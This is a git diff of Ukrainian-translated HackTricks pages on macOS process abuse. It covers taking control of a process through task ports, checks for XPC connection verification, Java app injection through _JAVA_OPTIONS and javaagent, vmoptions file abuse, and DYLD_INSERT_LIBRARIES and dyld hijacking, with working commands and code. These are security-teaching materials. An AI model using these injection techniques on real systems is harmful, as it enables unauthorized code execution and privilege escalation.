діє як `read_func`, повертаючи перше поле `objc_property_t`. -2. **Запис у пам'ять:** -Знаходження готової функції для запису в пам'ять є складнішим завданням. Однак функція `_xpc_int64_set_value()` з libxpc є відповідним кандидатом з наступним розкладом: +2. **Запис пам'яті:** +Знайти готову функцію для запису пам'яті складніше. Однак функція `_xpc_int64_set_value()` з libxpc є відповідним кандидатом з наступним дизасемблюванням: ```c __xpc_int64_set_value: str x1, [x0, #0x18] ret ``` -Для виконання запису 64-бітного значення за конкретною адресою, віддалений виклик структурований наступним чином: +Щоб виконати 64-бітний запис за певною адресою, віддалений виклик структурований як: ```c _xpc_int64_set_value(address - 0x18, value) ``` -З цими примітивами встановлено, що сцена готова для створення спільної пам'яті, що є значним кроком у контролі над віддаленим процесом. +З цими примітивами встановленими, сцена готова для створення спільної пам'яті, що є значним прогресом у контролі над віддаленим процесом. -## 4. Налаштування Спільної Пам'яті +## 4. Налаштування спільної пам'яті -Мета полягає в установленні спільної пам'яті між локальними та віддаленими задачами, спрощуючи передачу даних та полегшуючи виклик функцій з кількома аргументами. Підхід передбачає використання `libxpc` та його об'єкту типу `OS_xpc_shmem`, який побудований на основі записів пам'яті Mach. +Мета полягає в тому, щоб встановити спільну пам'ять між локальними та віддаленими завданнями, спрощуючи передачу даних і полегшуючи виклик функцій з кількома аргументами. Підхід передбачає використання `libxpc` та його об'єктного типу `OS_xpc_shmem`, який побудований на основі записів пам'яті Mach. -### Огляд Процесу: +### Огляд процесу: -1. **Виділення Пам'яті**: -- Виділіть пам'ять для обміну за допомогою `mach_vm_allocate()`. -- Використовуйте `xpc_shmem_create()` для створення об'єкту `OS_xpc_shmem` для виділеної області пам'яті. Ця функція буде керувати створенням запису пам'яті Mach та зберігати право на відправку Mach на зміщенні `0x18` об'єкта `OS_xpc_shmem`. +1. **Виділення пам'яті**: +- Виділіть пам'ять для спільного використання за допомогою `mach_vm_allocate()`. +- Використовуйте `xpc_shmem_create()` для створення об'єкта `OS_xpc_shmem` для виділеної області пам'яті. Ця функція керуватиме створенням запису пам'яті Mach і зберігатиме право на відправку Mach за зсувом `0x18` об'єкта `OS_xpc_shmem`. -2. **Створення Спільної Пам'яті в Віддаленому Процесі**: -- Виділіть пам'ять для об'єкту `OS_xpc_shmem` в віддаленому процесі за допомогою віддаленого виклику до `malloc()`. -- Скопіюйте вміст локального об'єкту `OS_xpc_shmem` в віддалений процес. Однак ця початкова копія матиме неправильні назви записів пам'яті Mach на зміщенні `0x18`. +2. **Створення спільної пам'яті в віддаленому процесі**: +- Виділіть пам'ять для об'єкта `OS_xpc_shmem` у віддаленому процесі за допомогою віддаленого виклику `malloc()`. +- Скопіюйте вміст локального об'єкта `OS_xpc_shmem` до віддаленого процесу. Однак ця початкова копія матиме неправильні імена записів пам'яті Mach за зсувом `0x18`. -3. **Виправлення Запису Пам'яті Mach**: -- Використовуйте метод `thread_set_special_port()` для вставки права на відправку для запису пам'яті Mach у віддалену задачу. -- Виправте поле запису пам'яті Mach на зміщенні `0x18`, перезаписавши його ім'ям віддаленого запису пам'яті. +3. **Виправлення запису пам'яті Mach**: +- Використовуйте метод `thread_set_special_port()`, щоб вставити право на відправку для запису пам'яті Mach у віддалене завдання. +- Виправте поле запису пам'яті Mach за зсувом `0x18`, перезаписавши його іменем запису віддаленої пам'яті. -4. **Завершення Налаштування Спільної Пам'яті**: +4. **Завершення налаштування спільної пам'яті**: - Перевірте віддалений об'єкт `OS_xpc_shmem`. -- Встановіть спільне відображення пам'яті за допомогою віддаленого виклику до `xpc_shmem_remote()`. +- Встановіть відображення спільної пам'яті за допомогою віддаленого виклику `xpc_shmem_remote()`. -Дотримуючись цих кроків, спільна пам'ять між локальними та віддаленими задачами буде ефективно налаштована, що дозволить просту передачу даних та виконання функцій, які потребують кількох аргументів. +Дотримуючись цих кроків, спільна пам'ять між локальними та віддаленими завданнями буде ефективно налаштована, що дозволить здійснювати прості передачі даних і виконувати функції, які потребують кількох аргументів. -## Додаткові Фрагменти Коду +## Додаткові фрагменти коду -Для виділення пам'яті та створення об'єкту спільної пам'яті: +Для виділення пам'яті та створення об'єкта спільної пам'яті: ```c mach_vm_allocate(); xpc_shmem_create(); ``` -Для створення та коригування об'єкта спільної пам'яті в віддаленому процесі: +Для створення та виправлення об'єкта спільної пам'яті в віддаленому процесі: ```c malloc(); // for allocating memory remotely thread_set_special_port(); // for inserting send right ``` -## 5. Досягнення повного контролю +Пам'ятайте, щоб правильно обробляти деталі Mach портів та імена записів пам'яті, щоб забезпечити правильну роботу налаштування спільної пам'яті. -Після успішного встановлення спільної пам'яті та отримання можливостей довільного виконання ми фактично отримали повний контроль над цільовим процесом. Основні функціональні можливості, що забезпечують цей контроль, включають: +## 5. Досягнення Повного Контролю -1. **Довільні операції з пам'яттю**: - - Виконання довільних читань пам'яті, викликаючи `memcpy()` для копіювання даних зі спільної області. - - Виконання довільних записів у пам'ять, використовуючи `memcpy()` для передачі даних у спільну область. +Після успішного встановлення спільної пам'яті та отримання можливостей довільного виконання, ми фактично отримали повний контроль над цільовим процесом. Ключові функціональні можливості, що забезпечують цей контроль, це: -2. **Обробка викликів функцій з кількома аргументами**: - - Для функцій, які потребують більше 8 аргументів, розмістіть додаткові аргументи на стеку відповідно до конвенції виклику. +1. **Довільні Операції з Пам'яттю**: +- Виконувати довільні читання пам'яті, викликаючи `memcpy()`, щоб копіювати дані з спільної області. +- Виконувати довільні записи пам'яті, використовуючи `memcpy()`, щоб передавати дані до спільної області. -3. **Передача портів Mach**: - - Передача портів Mach між завданнями через повідомлення Mach через раніше встановлені порти. +2. **Обробка Викликів Функцій з Багатьма Аргументами**: +- Для функцій, які вимагають більше 8 аргументів, розмістіть додаткові аргументи на стеку відповідно до конвенції виклику. -4. **Передача дескрипторів файлів**: - - Передача дескрипторів файлів між процесами за допомогою файлових портів, техніка, виділена Іаном Біром у `triple_fetch`. +3. **Передача Mach Портів**: +- Передача Mach портів між задачами через Mach повідомлення за допомогою раніше встановлених портів. -Цей всебічний контроль увібрався в бібліотеку [threadexec](https://github.com/bazad/threadexec), яка надає детальну реалізацію та зручний API для взаємодії з цільовим процесом. +4. **Передача Файлових Дескрипторів**: +- Передача файлових дескрипторів між процесами за допомогою fileports, техніки, яку підкреслив Іан Бір у `triple_fetch`. -## Важливі розгляди: +Цей всебічний контроль закріплений у бібліотеці [threadexec](https://github.com/bazad/threadexec), що надає детальну реалізацію та зручний API для взаємодії з жертвою процесом. -- Переконайтеся в правильному використанні `memcpy()` для операцій читання/запису в пам'ять для збереження стабільності системи та цілісності даних. -- При передачі портів Mach або дескрипторів файлів дотримуйтесь належних протоколів та відповідально керуйте ресурсами, щоб уникнути витоків або ненавмисного доступу. +## Важливі Міркування: -Дотримуючись цих вказівок та використовуючи бібліотеку `threadexec`, можна ефективно керувати та взаємодіяти з процесами на дуже детальному рівні, досягаючи повного контролю над цільовим процесом. +- Забезпечте правильне використання `memcpy()` для операцій читання/запису пам'яті, щоб підтримувати стабільність системи та цілісність даних. +- При передачі Mach портів або файлових дескрипторів дотримуйтесь належних протоколів і відповідально обробляйте ресурси, щоб запобігти витокам або ненавмисному доступу. + +Дотримуючись цих рекомендацій та використовуючи бібліотеку `threadexec`, можна ефективно керувати та взаємодіяти з процесами на детальному рівні, досягаючи повного контролю над цільовим процесом. ## Посилання * [https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/](https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/) + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md index 5d952136d..64f757fa0 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md @@ -1,60 +1,61 @@ -# Перевірка процесу підключення XPC macOS +# macOS XPC Connecting Process Check + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Інші способи підтримки HackTricks: - -* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)! -* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com) -* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family) -* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## Перевірка процесу підключення XPC +## XPC Connecting Process Check -Коли встановлюється з'єднання з XPC-сервісом, сервер перевіряє, чи дозволено це з'єднання. Ось перевірки, які зазвичай виконуються: +Коли встановлюється з'єднання з XPC-сервісом, сервер перевіряє, чи дозволено це з'єднання. Це перевірки, які зазвичай виконуються: -1. Перевірка, чи підключений **процес підписаний Apple-підписом** (наданим лише Apple). -* Якщо це **не підтверджено**, зловмисник може створити **фальшивий сертифікат**, щоб відповідати будь-якій іншій перевірці. -2. Перевірка, чи підключений процес підписаний **сертифікатом організації** (перевірка ідентифікатора команди). -* Якщо це **не підтверджено**, можна використовувати **будь-який сертифікат розробника** від Apple для підпису та підключення до сервісу. -3. Перевірка, чи підключений процес містить **правильний ідентифікатор пакета**. -* Якщо це **не підтверджено**, будь-який інструмент, **підписаний тією ж організацією**, може бути використаний для взаємодії з XPC-сервісом. -4. (4 або 5) Перевірка, чи у підключеному процесі є **правильний номер версії програмного забезпечення**. -* Якщо це **не підтверджено**, можна використовувати старі, небезпечні клієнти, вразливі до впровадження процесу, для підключення до XPC-сервісу навіть за умови інших перевірок. -5. (4 або 5) Перевірка, чи у підключеному процесі є зміцнений час виконання без небезпечних дозволів (таких, як ті, що дозволяють завантажувати довільні бібліотеки або використовувати змінні середовища DYLD) -1. Якщо це **не підтверджено**, клієнт може бути **вразливим до впровадження коду** -6. Перевірка, чи у підключеному процесі є **дозвіл**, що дозволяє йому підключатися до сервісу. Це застосовується до бінарних файлів Apple. -7. **Перевірка** повинна бути **заснована** на **аудиторському токені підключення клієнта** **замість** його **ідентифікатора процесу (PID)**, оскільки перше запобігає **атакам повторного використання PID**. -* Розробники **рідко використовують виклик API аудиторського токена**, оскільки він є **приватним**, тому Apple може **змінити** його в будь-який момент. Крім того, використання приватного API не дозволяється в додатках Mac App Store. -* Якщо використовується метод **`processIdentifier`**, це може бути вразливим -* Слід використовувати **`xpc_dictionary_get_audit_token`** замість **`xpc_connection_get_audit_token`**, оскільки останнє також може бути [вразливим у певних ситуаціях](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). +1. Перевірте, чи підписаний **процес, що підключається, сертифікатом, підписаним Apple** (видається лише Apple). +* Якщо це **не перевірено**, зловмисник може створити **підроблений сертифікат**, щоб відповідати будь-якій іншій перевірці. +2. Перевірте, чи підписаний процес, що підключається, **сертифікатом організації** (перевірка ID команди). +* Якщо це **не перевірено**, **будь-який сертифікат розробника** від Apple може бути використаний для підпису та підключення до сервісу. +3. Перевірте, чи **містить процес, що підключається, правильний ідентифікатор пакета**. +* Якщо це **не перевірено**, будь-який інструмент, **підписаний тією ж організацією**, може бути використаний для взаємодії з XPC-сервісом. +4. (4 або 5) Перевірте, чи має процес, що підключається, **правильний номер версії програмного забезпечення**. +* Якщо це **не перевірено**, старі, ненадійні клієнти, вразливі до ін'єкцій процесів, можуть бути використані для підключення до XPC-сервісу, навіть якщо інші перевірки виконані. +5. (4 або 5) Перевірте, чи має процес, що підключається, **захищений час виконання без небезпечних прав** (як ті, що дозволяють завантажувати довільні бібліотеки або використовувати змінні середовища DYLD). +1. Якщо це **не перевірено**, клієнт може бути **вразливим до ін'єкцій коду**. +6. Перевірте, чи має процес, що підключається, **право**, яке дозволяє йому підключатися до сервісу. Це стосується бінарних файлів Apple. +7. **Перевірка** повинна бути **базована** на **аудиторному токені клієнта**, **а не** на його ідентифікаторі процесу (**PID**), оскільки перше запобігає **атакам повторного використання PID**. +* Розробники **рідко використовують API виклик аудиторного токена**, оскільки він **приватний**, тому Apple може **змінити** його в будь-який момент. Крім того, використання приватних API не дозволено в додатках Mac App Store. +* Якщо використовується метод **`processIdentifier`**, він може бути вразливим. +* **`xpc_dictionary_get_audit_token`** слід використовувати замість **`xpc_connection_get_audit_token`**, оскільки останній також може бути [вразливим у певних ситуаціях](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). -### Атаки на комунікацію +### Communication Attacks -Для отримання додаткової інформації про перевірку атаки повторного використання PID див.: +Для отримання додаткової інформації про атаку повторного використання PID перевірте: {% content-ref url="macos-pid-reuse.md" %} [macos-pid-reuse.md](macos-pid-reuse.md) {% endcontent-ref %} -Для отримання додаткової інформації про атаку **`xpc_connection_get_audit_token`** див.: +Для отримання додаткової інформації про атаку **`xpc_connection_get_audit_token`** перевірте: {% content-ref url="macos-xpc_connection_get_audit_token-attack.md" %} [macos-xpc\_connection\_get\_audit\_token-attack.md](macos-xpc\_connection\_get\_audit\_token-attack.md) {% endcontent-ref %} -### Trustcache - Запобігання атакам на зниження рівня +### Trustcache - Downgrade Attacks Prevention -Trustcache - це захисний метод, введений на машинах Apple Silicon, який зберігає базу даних CDHSAH бінарних файлів Apple, щоб можна було виконувати лише дозволені незмінені бінарні файли. Це запобігає виконанню версій зниження. +Trustcache - це захисний метод, введений в машинах Apple Silicon, який зберігає базу даних CDHSAH бінарних файлів Apple, щоб лише дозволені, не модифіковані бінарні файли могли виконуватися. Це запобігає виконанню версій зниженого рівня. -### Приклади коду +### Code Examples -Сервер реалізує цю **перевірку** у функції з назвою **`shouldAcceptNewConnection`**. +Сервер реалізує цю **перевірку** в функції, яка називається **`shouldAcceptNewConnection`**. {% code overflow="wrap" %} ```objectivec @@ -63,9 +64,13 @@ Trustcache - це захисний метод, введений на машин return YES; } ``` -Об'єкт NSXPCConnection має **приватну** властивість **`auditToken`** (та, яка повинна бути використана, але може змінитися) та **публічну** властивість **`processIdentifier`** (та, яка не повинна використовуватися). +{% endcode %} -Підключений процес можна перевірити за допомогою чогось на зразок: +Об'єкт NSXPCConnection має **приватну** властивість **`auditToken`** (ту, що повинна використовуватися, але може змінитися) та **публічну** властивість **`processIdentifier`** (ту, що не повинна використовуватися). + +Процес, що підключається, можна перевірити за допомогою чогось на зразок: + +{% code overflow="wrap" %} ```objectivec [...] SecRequirementRef requirementRef = NULL; @@ -87,7 +92,9 @@ SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString) ``` {% endcode %} -Якщо розробник не хоче перевіряти версію клієнта, він може перевірити, що клієнт принаймні не вразливий на впровадження процесу: +Якщо розробник не хоче перевіряти версію клієнта, він може принаймні перевірити, що клієнт не вразливий до ін'єкції процесів: + +{% code overflow="wrap" %} ```objectivec [...] CFDictionaryRef csInfo = NULL; @@ -104,16 +111,17 @@ return Yes; // Accept connection ``` {% endcode %} +{% hint style="success" %} +Вивчайте та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Вивчайте та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)! +Підтримайте HackTricks -Інші способи підтримки HackTricks: - -* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)! -* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com) -* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family) -* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.** +* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)! +* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md index 09ee205ca..f1ba5ed77 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md @@ -1,22 +1,23 @@ -# Внедрення Java-додатків macOS +# macOS Java Applications Injection + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Інші способи підтримки HackTricks: - -* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)! -* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com) -* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family) -* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## Перелік +## Enumeration -Знайдіть встановлені Java-додатки у вашій системі. Було помічено, що Java-додатки в **Info.plist** будуть містити деякі параметри Java, які містять рядок **`java.`**, тому ви можете шукати це: +Знайдіть Java-додатки, встановлені у вашій системі. Було помічено, що Java-додатки в **Info.plist** міститимуть деякі параметри java, які містять рядок **`java.`**, тому ви можете шукати це: ```bash # Search only in /Applications folder sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null @@ -26,13 +27,13 @@ sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null ``` ## \_JAVA\_OPTIONS -Змінна середовища **`_JAVA_OPTIONS`** може бути використана для впровадження довільних параметрів Java у виконання скомпільованої програми Java: +Змінна середовища **`_JAVA_OPTIONS`** може бути використана для ін'єкції довільних параметрів java під час виконання скомпільованого java додатку: ```bash # Write your payload in a script called /tmp/payload.sh export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"' "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" ``` -Для виконання його як нового процесу, а не як дитини поточного терміналу, ви можете використовувати: +Щоб виконати це як новий процес, а не як дочірній процес поточного терміналу, ви можете використовувати: ```objectivec #import // clang -fobjc-arc -framework Foundation invoker.m -o invoker @@ -85,7 +86,7 @@ NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary return 0; } ``` -Проте це спричинить помилку в виконуваній програмі, інший, більш прихований спосіб - створити java-агент і використовувати: +Однак це викличе помилку в виконуваному додатку, інший, більш прихований спосіб - створити java-агента і використовувати: ```bash export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar' "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" @@ -119,7 +120,7 @@ err.printStackTrace(); ``` {% endcode %} -Для компіляції агента виконайте: +Щоб скомпілювати агент, виконайте: ```bash javac Agent.java # Create Agent.class jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar @@ -131,7 +132,7 @@ Agent-Class: Agent Can-Redefine-Classes: true Can-Retransform-Classes: true ``` -І потім експортуйте змінну середовища та запустіть java-додаток так: +А потім експортуйте змінну середовища та запустіть java-додаток так: ```bash export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar' "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" @@ -140,12 +141,12 @@ export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar' open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional" ``` -## Файл vmoptions +## vmoptions файл -Цей файл підтримує вказівку **параметрів Java** при виконанні Java. Ви можете скористатися деякими попередніми трюками, щоб змінити параметри Java та **змусити процес виконати довільні команди**. \ -Більше того, цей файл також може **включати інші файли** з допомогою директиви `include`, тому ви також можете змінити включений файл. +Цей файл підтримує специфікацію **Java параметрів** під час виконання Java. Ви можете використовувати деякі з попередніх трюків, щоб змінити java параметри та **змусити процес виконувати довільні команди**.\ +Більше того, цей файл також може **включати інші** за допомогою директорії `include`, тому ви також можете змінити включений файл. -Ще більше, деякі Java-додатки будуть **завантажувати більше одного файлу `vmoptions`**. +Ще більше, деякі Java додатки **завантажать більше ніж один `vmoptions`** файл. Деякі програми, такі як Android Studio, вказують у своєму **виводі, де вони шукають** ці файли, наприклад: ```bash @@ -158,7 +159,7 @@ open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Profession 2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions 2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions ``` -Якщо вони цього не роблять, ви легко можете перевірити це за допомогою: +Якщо вони цього не роблять, ви можете легко перевірити це за допомогою: ```bash # Monitor sudo eslogger lookup | grep vmoption # Give FDA to the Terminal @@ -166,4 +167,4 @@ sudo eslogger lookup | grep vmoption # Give FDA to the Terminal # Launch the Java app /Applications/Android\ Studio.app/Contents/MacOS/studio ``` -Зверніть увагу, що в цьому прикладі Android Studio намагається завантажити файл **`/Applications/Android Studio.app.vmoptions`**, місце, де будь-який користувач з групи **`admin` має право на запис.** +Зверніть увагу, як цікаво, що Android Studio в цьому прикладі намагається завантажити файл **`/Applications/Android Studio.app.vmoptions`**, місце, де будь-який користувач з групи **`admin` має доступ на запис.** diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md index 42d7ece69..531ecd13c 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -1,22 +1,23 @@ -# macOS Дикий захоплення та DYLD\_INSERT\_LIBRARIES +# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Інші способи підтримки HackTricks: - -* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)! -* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com) -* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family) -* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## Базовий приклад DYLD\_INSERT\_LIBRARIES +## DYLD\_INSERT\_LIBRARIES Основний приклад -**Бібліотека для впровадження** для виконання оболонки: +**Бібліотека для ін'єкції** для виконання оболонки: ```c // gcc -dynamiclib -o inject.dylib inject.c @@ -45,11 +46,11 @@ printf("Hello, World!\n"); return 0; } ``` -Впровадження: +Ін'єкція: ```bash DYLD_INSERT_LIBRARIES=inject.dylib ./hello ``` -## Приклад Викрадення Dyld +## Dyld Hijacking Example Цільовий вразливий бінарний файл - `/Applications/VulnDyld.app/Contents/Resources/lib/binary`. @@ -91,7 +92,7 @@ compatibility version 1.0.0 {% endtab %} {% endtabs %} -З попередньою інформацією ми знаємо, що він **не перевіряє підпис завантажених бібліотек** і **намагається завантажити бібліотеку з**: +З попередньої інформації ми знаємо, що **не перевіряється підпис завантажених бібліотек** і **намагається завантажити бібліотеку з**: * `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib` * `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib` @@ -104,7 +105,7 @@ pwd find ./ -name lib.dylib ./Contents/Resources/lib2/lib.dylib ``` -Отже, це можливо взламати! Створіть бібліотеку, яка **виконує деякий довільний код та експортує ті ж функціональні можливості**, що й легітимна бібліотека, експортуючи її знову. І не забудьте скомпілювати її з очікуваними версіями: +Отже, це можливо вкрасти! Створіть бібліотеку, яка **виконує деякий довільний код і експортує ті ж функціональні можливості**, що й легітимна бібліотека, повторно 